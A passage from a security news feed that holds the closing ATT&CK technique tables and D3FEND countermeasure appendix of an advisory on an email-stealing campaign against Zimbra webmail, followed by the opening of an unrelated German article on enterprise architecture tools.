<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




